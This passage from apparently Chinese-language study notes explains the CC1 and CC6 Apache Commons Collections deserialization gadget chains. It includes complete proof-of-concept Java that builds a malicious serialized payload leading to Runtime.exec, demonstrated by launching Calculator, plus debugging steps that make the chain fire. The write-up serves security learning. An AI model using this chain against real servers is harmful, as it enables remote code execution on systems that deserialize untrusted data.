// 搞定!!!!!,其实这里还间接解决了 runtime对象无法传入的问题!后面调试时分析
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
// 生成 ChainedTransformer 链
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

HashMap map = new HashMap();
map.put("value","I am leyilea!");

Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);

serialize(obj);
unserialize("ser1.bin");

cc6链

之前系统的学习了cc1链 但是cc1的使用在8u71之后就失效了 原因就是AnnotationInvocationHandler的readObject逻辑改了 之前的逻辑当中是会调用memberType的setValue的

先直接来看利用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Gadget chain:

java.io.ObjectInputStream.readObject()

java.util.HashMap.readObject()

java.util.HashMap.hash()



org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()



org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()

org.apache.commons.collections.map.LazyMap.get()



org.apache.commons.collections.functors.ChainedTransformer.transform()



org.apache.commons.collections.functors.InvokerTransformer.transform()

java.lang.reflect.Method.invoke()

java.lang.Runtime.exec()

其实稍微看一下利用链就会有一种cc6是cc1加urldns的感觉 但是这里有一个和我们学cc1稍微有些不一样的点 那就是我们学cc1的时候都是拿的TransformMap来做 但是其实cc1的另外一种用法就是拿LazyMap来做

简单来说 LazyMap和TransformedMap不同 TransformedMap是setValue一路走 而LazyMap是get()方法被调用并且key不存在时就会调用一个transform方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public Object get(Object key) {
// 1. 如果 map 里没有你想要找的这个 key
if (map.containsKey(key) == false) {

// 2. 核心起爆点!调用 factory(这里就是我们的 ChainedTransformer)去生成一个值
Object value = factory.transform(key);

// 3. 把生成的值放进去,并返回
map.put(key, value);
return value;
}
// 如果 key 存在,就正常返回
return map.get(key);
}

给出的利用链当中的:

1
2
3
4
5
6
7
8
9
10
org.apache.commons.collections.functors.ChainedTransformer.transform()



org.apache.commons.collections.functors.InvokerTransformer.transform()

java.lang.reflect.Method.invoke()

java.lang.Runtime.exec()

其实就是我们在cc1当中最后一值new InvokeTransformer那一段 cc6主要就是改了LazyMap的get方法的触发方式 去代替原本cc1当中的AnnotationInvocationHandler

我们顺着链子往上走 去到TiedMapEntry当中找到getValue:

image-20260809232754792

这里就会看见一个map.get();其实完整的源码是:

1
2
3
4
public Object getValue() {
// 它直接调用了内部 map 的 get 方法!
return this.map.get(this.key);
}

这里的this.map又是由TiedMapEntry的构造方法来的:

1
2
3
4
5
6
// TiedMapEntry 的底层源码:它是怎么被造出来的
public TiedMapEntry(Map map, Object key) {
super();
this.map = map; // 看到没有!这里的 this.map 就是通过参数传进来的!
this.key = key; // 这里的 key 也是通过参数传进来的!
}

上面我们说到了在LazyMap的get方法当中如果是一个不存在的key的话那么就会调用transform方法 那么我们就可以故意传一个不存在的key进去就比如:

1
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "随便写个不存在的key");

而TiedMapEntry的hashCode方法当中又调用了getValue:

image-20260809234406930

那么继续往上走 哪里又可以调用这个hashCode呢 这个不就简单了 我们把urldns链联想一下不就是了 在URLDNS链当中我们知道HashMap的readObject方法是重写过的 它会去调用每个元素的hash,然后hash呢又会去调用hashCode 那这就好是一条完整的链子了

为了防止我们在本地装配弹药的时候就直接触发命令执行了 所以我们要先建一个假的数组 然后等到map.put给执行完了我们再写反射给改回去

首先是LazyMap后的部分不变,这里为了防止在本地调试时就触发命令执行影响调试,所以先设置了一个fakeTransformers,等到序列化时再反射更改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};

Transformer[] transformers = new Transformer[]{

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} ),

new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ),

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"}),

};

Transformer transformerChain = new ChainedTransformer(fakeTransformers);

Map innerMap = new HashMap();

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

这里还是要多嘴一句 因为之前的学习一直都是在拿TransformedMap在做 所以这里还是再看一下LazyMap关于decorate的方法

1
2
3
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

这里重要的就两个点 map类其实哪个类都行 只是我们这里拿HashMap类做演示而已 我们这里完全可以拿一个其他的Map类来做 比如说TransformedMap类 只要我们保证这里的key是一个不存在的就可以了 然后就是给factory的传参就至关重要了 这里我们要传的是ChainedTransformer

然后我们来构造TiedMapEntry

1
TiedMapEntry tme = new TiedMapEntry(outerMap, "Yu9991n9");

那么接下来就是让前面提到的key值为tme,从而调用TiedMapEntry#hashCode():

1
2
Map evilMap = new HashMap();
evilMap.put(tme,"Yu9991n9");

然后我们再来用反射把我们放进ChainedTransformer类的假数组换成真数组:

1
2
3
Method f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain,transformers);

然后我们在这里给出poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws Exception {

Transformer[] trueTransformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};


Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};


ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);


Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);


TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Yu9991n9");


Map expMap = new HashMap();


expMap.put(tiedMapEntry, "随便写个值");




Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, trueTransformers);

System.out.println("[+] 正在生成恶意序列化文件 payload.bin...");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
oos.writeObject(expMap);
oos.close();

System.out.println("[+] 受害者服务器正在反序列化...");
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.bin"));
ois.readObject();
ois.close();
}
}

然后当我们执行时会发现其实并没有执行上命令 那么我们就需要进行一下动态调试了

这里我们最终目的是执行transform方法 那我们就在LazyMap的get方法里面打一个断点:

image-20260814225018028

然后我们执行

image-20260814225145955

在这里就会停下 此时调试台的数据是:

image-20260814225208908

可以看见size是0 也就是map里面是没有数据的 我们按f8 可以看见在160行的时候size变成1了

image-20260814225312098

在map当中size的值表示里面有几个键值对 这时变成1了说明把key为Yu9991n9给放进去了 但是在这个if里面有一个判断条件:

1
map.containsKey(key) == false

也就是会判断key在不在map里面 如果不在那么才能进入if而我们上面的调试发现在我们本地装配的时候Yu9991n9就已经装进去 我们不妨按f9直接一键执行就可以发现确实执行不了命令 那我们要做的就是在序列化发给目标之前我们得把Yu9991n9给删了 不要提前进入map 免得反序列化时哑火了

1
lazyMap.remove("Yu9991n9");

执行一下发现就可以弹计算器了 所以完整的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
```java
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws Exception {

Transformer[] trueTransformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};


Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};


ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);


Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);


TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Yu9991n9");


Map expMap = new HashMap();


expMap.put(tiedMapEntry, "随便写个值");

lazyMap.remove("Yu9991n9");


Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, trueTransformers);

System.out.println("[+] 正在生成恶意序列化文件 payload.bin...");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
oos.writeObject(expMap);
oos.close();

System.out.println("[+] 受害者服务器正在反序列化...");
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.bin"));
ois.readObject();
ois.close();
}
}

  1. 前置准备:擦除本地“走火”指纹 (防哑火机制)

在本地生成恶意序列化数据(Payload)时,我们需要将 TiedMapEntry 作为 Key put 进最外层的 HashMap(即包裹实体)。但这个 put 动作会在本地触发一次底层的 LazyMap.get() 逻辑,导致 LazyMap 内部提前生成并残留一个无害的垃圾数据(假子弹)。 为了防止 Payload 发送给目标后无法触发漏洞,我们在执行序列化之前,必须显式调用 remove() 方法,将这个本地残留的 Key 擦除。这一步至关重要,它保证了受害者在解析时,LazyMap 处于“空状态”,从而必定走进 if (map.containsKey(key) == false) 的代码分支,去“现造”恶意数据。

  1. 漏洞入口:HashMap 的强迫症 (Source)

完成本地清理和序列化后,我们将 Payload 发送给目标服务器进行反序列化。 漏洞的完美触发,得益于 HashMap 自身重写了反序列化入口 readObject() 方法。当 HashMap 在内存中被还原时,它需要重新计算并恢复内部所有键值对的位置(恢复 Hash 表)。为了决定位置,它会自动调用每一个 Key 的 hash() 方法,进而同步触发该 Key 的 hashCode() 方法。这就为我们提供了一个天然且必定执行的攻击入口(Source)。

  1. 完美桥梁:TiedMapEntry 的连带反应 (Bridge)

我们在构造时,精心把一个 TiedMapEntry 对象作为 Key 埋在了外层的 HashMap 中。 当 HashMap 自动调用 TiedMapEntry.hashCode() 时,不可逆的连锁反应开始了:

  • TiedMapEntry 的 hashCode() 方法底层硬编码了调用自身绑定的 getValue() 方法。
  • 而它的 getValue() 方法,又会直接调用其绑定的内部 Map 的 get() 方法。 通过这个“桥梁”,程序原本安全无害的 Hash 计算,被强行扭转成了极其危险的 Map 查询操作。

​ 4.终极引爆:LazyMap 的懒加载机制 (Sink)

由于 TiedMapEntry 内部绑定的正是我们的恶意核心 LazyMap,此时程序的执行流精准来到了 LazyMap.get() 方法。 因为我们在第 1 步已经清空了残留数据,此时满足了内部字典中找不到对应 Key 的条件。LazyMap 的“懒加载”机制被激活,它为了生成这个缺失的数据,直接调用了其内部工厂类的 factory.transform() 方法。 至此,攻击闭环完美形成,提前装填好的 ChainedTransformer 恶意链条被彻底引爆,最终达成任意代码执行(RCE)。